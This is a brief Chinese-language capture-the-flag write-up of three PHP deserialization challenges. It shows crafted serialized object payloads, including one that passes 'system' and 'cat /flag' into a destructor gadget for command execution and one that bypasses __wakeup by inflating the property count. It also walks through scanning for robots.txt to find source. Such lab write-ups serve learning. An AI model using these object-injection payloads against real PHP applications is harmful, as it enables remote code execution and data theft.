1z_unserialize
可以通过构造一个恶意的序列化对象,将自定义的函数传递给 $lt 属性,然后将要执行的代码(或者指向一个恶意代码文件的路径)传递给 $lly 属性。当对象被序列化后再被反序列化时,__destruct 方法会被自动调用,从而执行指定的恶意操作。 这一题的注入点只要传参把$a变成system();$this->lly变成ls或者cat就是一个简单的命令注入了
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
ez_ez_unserialize
绕过__wakeup()魔术方法检测,把成员数改成大于实际数量
<?php class X { public $x ='fllllllag.php'; } $a=new X(); print_r(serialize($a)); ?>
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
将其修改为x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
ez_unserialize
发现没有题目,使用御剑进行扫描
访问robots.txt文件
访问之后是源码
只需要满足 ($this->admin === "admin" && $this->passwd === "ctf")
即admin="admin",passwd="ctf"
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
echo $w;?>
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}